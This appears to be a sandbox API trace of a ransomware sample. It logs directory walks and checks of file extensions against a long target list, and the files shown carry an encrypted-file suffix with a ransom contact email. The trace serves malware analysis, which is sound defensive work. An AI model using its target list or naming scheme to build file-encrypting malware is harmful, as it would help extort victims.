	[0159.730] lstrlenW (lpString=".opt") returned 4
	[0159.730] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".oqy") returned 4
	[0159.730] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".orf") returned 4
	[0159.730] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".p12") returned 4
	[0159.730] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".p7b") returned 4
	[0159.730] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".p7c") returned 4
	[0159.730] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".pam") returned 4
	[0159.730] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".pbm") returned 4
	[0159.730] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".pct") returned 4
	[0159.730] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".pcx") returned 4
	[0159.730] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".pdd") returned 4
	[0159.730] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".pdf") returned 4
	[0159.730] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".pdp") returned 4
	[0159.730] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".pef") returned 4
	[0159.730] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".pem") returned 4
	[0159.730] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0159.730] lstrlenW (lpString=".pff") returned 4
	[0159.731] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0159.731] lstrlenW (lpString=".pfm") returned 4
	[0159.731] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0159.731] lstrlenW (lpString=".pfx") returned 4
	[0159.731] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0159.731] lstrlenW (lpString=".pgm") returned 4
	[0159.731] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0159.731] lstrlenW (lpString=".php") returned 4
	[0159.731] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0159.731] lstrlenW (lpString=".php3") returned 5
	[0159.731] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0159.731] lstrlenW (lpString=".php4") returned 5
	[0159.731] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0159.731] lstrlenW (lpString=".php5") returned 5
	[0159.731] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0159.731] lstrlenW (lpString=".phtml") returned 6
	[0159.731] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0159.731] lstrlenW (lpString=".pict") returned 5
	[0159.731] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0159.731] lstrlenW (lpString=".pl") returned 3
	[0159.731] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0159.731] lstrlenW (lpString=".pls") returned 4
	[0159.731] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0159.731] lstrlenW (lpString=".pm") returned 3
	[0159.731] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0159.731] lstrlenW (lpString=".png") returned 4
	[0159.731] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0159.731] lstrlenW (lpString=".pnm") returned 4
	[0159.731] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0159.731] lstrlenW (lpString=".pot") returned 4
	[0159.731] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0159.731] lstrlenW (lpString=".potm") returned 5
	[0159.731] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0159.731] lstrlenW (lpString=".potx") returned 5
	[0159.731] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0159.731] lstrlenW (lpString=".ppa") returned 4
	[0159.731] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0159.731] lstrlenW (lpString=".ppam") returned 5
	[0159.732] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0159.732] lstrlenW (lpString=".ppm") returned 4
	[0159.732] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0159.732] lstrlenW (lpString=".pps") returned 4
	[0159.732] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0159.732] lstrlenW (lpString=".ppsm") returned 5
	[0159.732] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0159.732] lstrlenW (lpString=".ppt") returned 4
	[0159.733] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0159.733] lstrlenW (lpString=".pptm") returned 5
	[0159.733] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0159.733] lstrlenW (lpString=".pptx") returned 5
	[0159.733] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0159.733] lstrlenW (lpString=".prn") returned 4
	[0159.733] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0159.733] lstrlenW (lpString=".ps") returned 3
	[0159.733] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0159.733] lstrlenW (lpString=".psb") returned 4
	[0159.733] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0159.733] lstrlenW (lpString=".psd") returned 4
	[0159.733] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0159.733] lstrlenW (lpString=".pst") returned 4
	[0159.733] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0159.733] lstrlenW (lpString=".ptx") returned 4
	[0159.733] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0159.733] lstrlenW (lpString=".pub") returned 4
	[0159.733] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0159.733] lstrlenW (lpString=".pwm") returned 4
	[0159.733] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0159.733] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34d81ed4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34d81ed4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34df4673, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="OOBE_2~1.Z9")) returned 1
	[0159.733] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a60d75, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34a60d75, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34a8d0be, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PARTNE~1.Z9")) returned 1
	[0159.733] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a60d75, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34a60d75, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34a8d0be, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PARTNE~1.Z9")) returned 0
	[0159.734] FindClose (in: hFindFile=0x76eae8 | out: hFindFile=0x76eae8) returned 1
	[0159.736] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0159.736] FindNextFileW (in: hFindFile=0x76e628, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x34e66cb5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e66cb5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0159.736] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0159.737] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x34e66cb5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e66cb5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e828
	[0159.738] FindNextFileW (in: hFindFile=0x76e828, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x34e66cb5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e66cb5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0159.738] FindNextFileW (in: hFindFile=0x76e828, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x354bb5ba, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x354bb5ba, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x355e7069, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="GETCUR~2.Z9")) returned 1
	[0159.739] lstrlenW (lpString="GetCurrentOOBE.dll.id-B4197730.[help.me24@protonmail.com].Z9") returned 60
	[0159.739] lstrlenW (lpString=".1cd") returned 4
	[0159.739] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0159.739] lstrlenW (lpString=".3ds") returned 4
	[0159.739] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0159.739] lstrlenW (lpString=".3fr") returned 4
	[0159.739] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0159.739] lstrlenW (lpString=".3g2") returned 4
	[0159.739] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0159.739] lstrlenW (lpString=".3gp") returned 4
	[0159.739] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0159.739] lstrlenW (lpString=".7z") returned 3
	[0159.739] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0159.739] lstrlenW (lpString=".accda") returned 6
	[0159.739] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0159.739] lstrlenW (lpString=".accdb") returned 6
	[0159.739] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0159.739] lstrlenW (lpString=".accdc") returned 6
	[0159.739] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0159.739] lstrlenW (lpString=".accde") returned 6
	[0159.739] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0159.739] lstrlenW (lpString=".accdt") returned 6
	[0159.739] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0159.739] lstrlenW (lpString=".accdw") returned 6
	[0159.739] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0159.740] lstrlenW (lpString=".adb") returned 4
	[0159.740] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0159.740] lstrlenW (lpString=".adp") returned 4
	[0159.740] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0159.740] lstrlenW (lpString=".ai") returned 3
	[0159.740] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0159.740] lstrlenW (lpString=".ai3") returned 4
	[0159.740] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0159.740] lstrlenW (lpString=".ai4") returned 4
	[0159.740] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0159.740] lstrlenW (lpString=".ai5") returned 4
	[0159.740] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0159.740] lstrlenW (lpString=".ai6") returned 4
	[0159.740] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0159.740] lstrlenW (lpString=".ai7") returned 4
	[0159.740] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0159.740] lstrlenW (lpString=".ai8") returned 4
	[0159.740] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0159.740] lstrlenW (lpString=".anim") returned 5
	[0159.740] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0159.740] lstrlenW (lpString=".arw") returned 4
	[0159.740] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0159.741] lstrlenW (lpString=".as") returned 3
	[0159.741] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0159.741] lstrlenW (lpString=".asa") returned 4
	[0159.741] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0159.741] lstrlenW (lpString=".asc") returned 4
	[0159.741] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0159.741] lstrlenW (lpString=".ascx") returned 5
	[0159.741] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0159.741] lstrlenW (lpString=".asm") returned 4
	[0159.741] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0159.741] lstrlenW (lpString=".asmx") returned 5
	[0159.741] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0159.741] lstrlenW (lpString=".asp") returned 4
	[0159.741] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0159.741] lstrlenW (lpString=".aspx") returned 5
	[0159.741] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0159.741] lstrlenW (lpString=".asr") returned 4
	[0159.741] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0159.741] lstrlenW (lpString=".asx") returned 4
	[0159.741] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0159.741] lstrlenW (lpString=".avi") returned 4
	[0159.741] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0159.742] lstrlenW (lpString=".avs") returned 4
	[0159.742] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0159.742] lstrlenW (lpString=".backup") returned 7
	[0159.742] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0159.742] lstrlenW (lpString=".bak") returned 4
	[0159.742] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0159.742] lstrlenW (lpString=".bay") returned 4
	[0159.742] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0159.742] lstrlenW (lpString=".bd") returned 3
	[0159.742] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0159.742] lstrlenW (lpString=".bin") returned 4
	[0159.742] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0159.742] lstrlenW (lpString=".bmp") returned 4
	[0159.742] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0159.742] lstrlenW (lpString=".bz2") returned 4
	[0159.742] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0159.742] lstrlenW (lpString=".c") returned 2
	[0159.742] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0159.742] lstrlenW (lpString=".cdr") returned 4
	[0159.742] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0159.742] lstrlenW (lpString=".cer") returned 4
	[0159.742] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0159.742] lstrlenW (lpString=".cf") returned 3
	[0159.742] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0159.742] lstrlenW (lpString=".cfc") returned 4
	[0159.742] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0159.742] lstrlenW (lpString=".cfm") returned 4
	[0159.742] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0159.742] lstrlenW (lpString=".cfml") returned 5
	[0159.742] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0159.742] lstrlenW (lpString=".cfu") returned 4
	[0159.742] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0159.742] lstrlenW (lpString=".chm") returned 4
	[0159.742] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0159.743] lstrlenW (lpString=".cin") returned 4
	[0159.743] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0159.743] lstrlenW (lpString=".class") returned 6
	[0159.743] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0159.743] lstrlenW (lpString=".clx") returned 4
	[0159.743] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0159.743] lstrlenW (lpString=".config") returned 7
	[0159.743] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0159.743] lstrlenW (lpString=".cpp") returned 4
	[0159.743] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0159.743] lstrlenW (lpString=".cr2") returned 4
	[0159.743] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0159.743] lstrlenW (lpString=".crt") returned 4
	[0159.743] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0159.743] lstrlenW (lpString=".crw") returned 4
	[0159.743] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0159.743] lstrlenW (lpString=".cs") returned 3
	[0159.743] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0159.743] lstrlenW (lpString=".css") returned 4
	[0159.743] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0159.743] lstrlenW (lpString=".csv") returned 4
	[0159.743] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0159.743] lstrlenW (lpString=".cub") returned 4
	[0159.743] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0159.743] lstrlenW (lpString=".dae") returned 4
	[0159.744] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0159.744] lstrlenW (lpString=".dat") returned 4
	[0159.744] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0159.744] lstrlenW (lpString=".db") returned 3
	[0159.744] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0159.744] lstrlenW (lpString=".dbf") returned 4
	[0159.744] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0159.744] lstrlenW (lpString=".dbx") returned 4
	[0159.744] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0159.744] lstrlenW (lpString=".dc3") returned 4
	[0159.744] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0159.744] lstrlenW (lpString=".dcm") returned 4
	[0159.744] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0159.744] lstrlenW (lpString=".dcr") returned 4
	[0159.744] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0159.744] lstrlenW (lpString=".der") returned 4
	[0159.744] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0159.744] lstrlenW (lpString=".dib") returned 4
	[0159.744] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0159.744] lstrlenW (lpString=".dic") returned 4
	[0159.744] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0159.744] lstrlenW (lpString=".dif") returned 4
	[0159.744] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0159.744] lstrlenW (lpString=".divx") returned 5
	[0159.744] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0159.744] lstrlenW (lpString=".djvu") returned 5
	[0159.744] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0159.744] lstrlenW (lpString=".dng") returned 4
	[0159.744] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0159.744] lstrlenW (lpString=".doc") returned 4
	[0159.744] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0159.744] lstrlenW (lpString=".docm") returned 5
	[0159.744] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0159.744] lstrlenW (lpString=".docx") returned 5
	[0159.745] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0159.745] lstrlenW (lpString=".dot") returned 4
	[0159.745] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0159.745] lstrlenW (lpString=".dotm") returned 5
	[0159.745] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0159.745] lstrlenW (lpString=".dotx") returned 5
	[0159.745] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0159.745] lstrlenW (lpString=".dpx") returned 4
	[0159.745] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0159.745] lstrlenW (lpString=".dqy") returned 4
	[0159.745] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0159.745] lstrlenW (lpString=".dsn") returned 4
	[0159.745] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0159.745] lstrlenW (lpString=".dt") returned 3
	[0159.745] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0159.745] lstrlenW (lpString=".dtd") returned 4
	[0159.745] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0159.745] lstrlenW (lpString=".dwg") returned 4
	[0159.745] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0159.745] lstrlenW (lpString=".dwt") returned 4
	[0159.745] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0159.745] lstrlenW (lpString=".dx") returned 3
	[0159.745] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0159.745] lstrlenW (lpString=".dxf") returned 4
	[0159.745] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0159.745] lstrlenW (lpString=".edml") returned 5
	[0159.746] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0159.746] lstrlenW (lpString=".efd") returned 4
	[0159.746] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0159.746] lstrlenW (lpString=".elf") returned 4
	[0159.746] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
	[0159.746] lstrlenW (lpString=".emf") returned 4
	[0159.746] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0159.746] lstrlenW (lpString=".emz") returned 4
	[0159.746] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0159.746] lstrlenW (lpString=".epf") returned 4
	[0159.746] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0159.746] lstrlenW (lpString=".eps") returned 4
	[0159.746] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0159.746] lstrlenW (lpString=".epsf") returned 5
	[0159.746] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0159.746] lstrlenW (lpString=".epsp") returned 5
	[0159.746] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0159.746] lstrlenW (lpString=".erf") returned 4
	[0159.746] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0159.746] lstrlenW (lpString=".exr") returned 4
	[0159.746] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0159.746] lstrlenW (lpString=".f4v") returned 4
	[0159.746] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0159.746] lstrlenW (lpString=".fido") returned 5
	[0159.746] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0159.746] lstrlenW (lpString=".flm") returned 4
	[0159.747] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0159.747] lstrlenW (lpString=".flv") returned 4
	[0159.747] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0159.747] lstrlenW (lpString=".frm") returned 4
	[0159.747] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0159.747] lstrlenW (lpString=".fxg") returned 4
	[0159.747] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0159.747] lstrlenW (lpString=".geo") returned 4
	[0159.747] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0159.747] lstrlenW (lpString=".gif") returned 4
	[0159.747] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0159.747] lstrlenW (lpString=".grs") returned 4
	[0159.747] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0159.747] lstrlenW (lpString=".gz") returned 3
	[0159.747] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0159.747] lstrlenW (lpString=".h") returned 2
	[0159.747] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0159.747] lstrlenW (lpString=".hdr") returned 4
	[0159.747] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0159.747] lstrlenW (lpString=".hpp") returned 4
	[0159.747] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0159.747] lstrlenW (lpString=".hta") returned 4
	[0159.747] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0159.747] lstrlenW (lpString=".htc") returned 4
	[0159.747] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0159.747] lstrlenW (lpString=".htm") returned 4
	[0159.747] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0159.747] lstrlenW (lpString=".html") returned 5
	[0159.748] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0159.748] lstrlenW (lpString=".icb") returned 4
	[0159.748] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0159.748] lstrlenW (lpString=".ics") returned 4
	[0159.748] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0159.748] lstrlenW (lpString=".iff") returned 4
	[0159.748] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0159.748] lstrlenW (lpString=".inc") returned 4
	[0159.748] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0159.748] lstrlenW (lpString=".indd") returned 5
	[0159.748] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0159.748] lstrlenW (lpString=".ini") returned 4
	[0159.748] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0159.748] lstrlenW (lpString=".iqy") returned 4
	[0159.748] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0159.748] lstrlenW (lpString=".j2c") returned 4
	[0159.748] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0159.748] lstrlenW (lpString=".j2k") returned 4
	[0159.748] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0159.748] lstrlenW (lpString=".java") returned 5
	[0159.748] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0159.748] lstrlenW (lpString=".jp2") returned 4
	[0159.748] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0159.748] lstrlenW (lpString=".jpc") returned 4
	[0159.748] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0159.748] lstrlenW (lpString=".jpe") returned 4
